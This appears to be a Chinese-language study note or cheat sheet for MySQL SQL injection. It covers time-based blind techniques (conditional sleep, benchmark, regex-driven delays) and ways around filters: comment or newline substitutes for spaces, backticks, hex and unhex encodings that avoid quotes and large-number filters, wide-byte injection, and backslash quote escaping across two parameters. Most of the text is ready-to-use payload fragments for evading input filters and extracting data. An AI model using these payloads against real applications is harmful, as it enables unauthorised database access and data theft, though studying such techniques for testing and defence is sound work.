基本利用-sleep
基础利用
用法:sleep(延时的秒数)
一般情况下,使用if或case构造条件表达式进行延时:
if((condition), sleep(5), 0);
CASE WHEN (condition) THEN sleep(5) ELSE 0 END;
无if和case的解决办法
假设if和case被ban了,又想要根据condition的真假来决定是否触发sleep(),可以将condition整合进sleep()中,做乘法即可:
sleep(5*(condition))
如果condition为真则返回1,5*(condition)即5*1为5,延时5秒;如果condition为假则返回0,5*(condition)即5*0为0,延时0秒。

Bypass方法
benchmark
是替代sleep的首选。
用法:benchmark(执行多少次,执行什么操作)

通过修改执行的次数和执行的操作(比如sha1(sha1(sha1(sha1())))这样多套几层),可以精准控制延时时间。
笛卡尔积
也就是所谓的HEAVY QUERY,用的不多。
get_lock
可以精准控制延时时间,但是不好用,因为需要维持MySQL的会话,基本用不到。
正则
通过正则的状态机不断进行状态转换,增加比配的时长,打到延时的目的。例如:
select rpad(‘a’,4999999,’a’) RLIKE concat(repeat(‘(a.*)+’,30),’b’);
空格
行内注释(推荐)
100%用来替代空格
select/*woshizhushi*/id/**/from/**/student;
换行符(推荐)
%0d%0a也是不错的替代空格的方法。
select(id)from(student);
但是括号不能去括一些mysql自带的关键字,例如不能把from括起来,不作为首选的绕过方法。
反引号
对于表名和列名可以用反引号包裹起来。
select`id`from`student`;
select关键字
mysql8.0
在MySQL 8.0版本中,table student 等价于 select * from student;
在当前的表查其他字段
在对当前表的列名注入时,可以直接写字段名,而无需select 该字段 from 该表
select * from student where student_id = '2019122001' and ascii(substr(name,1,1))>0; # 这里name直接写,而不需要写成select name from student
单引号和字符串
没有单引号就没有字符串,如何写字符串?
1.字符串的十六进制形式
'abc' 等价于 0x616263
2. unhex()与hex()连用
'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i)
具体转换的步骤是:①abc转成16进制是616263 ②616263转十进制是6382179 ③用科学计数法表示6e6+382179 ④套上unhex(hex()),就是unhex(hex(6e6+382179));
没有单引号没办法做SQL注入的参数逃逸
1. 宽字节注入
>2. 转义法
条件是:用户可以控制一前一后两个参数
方法是:前面的参数输入\转义掉单引号,后面参数逃逸出来
例如:select * from users where username = '\' and password = 'and 1=1#'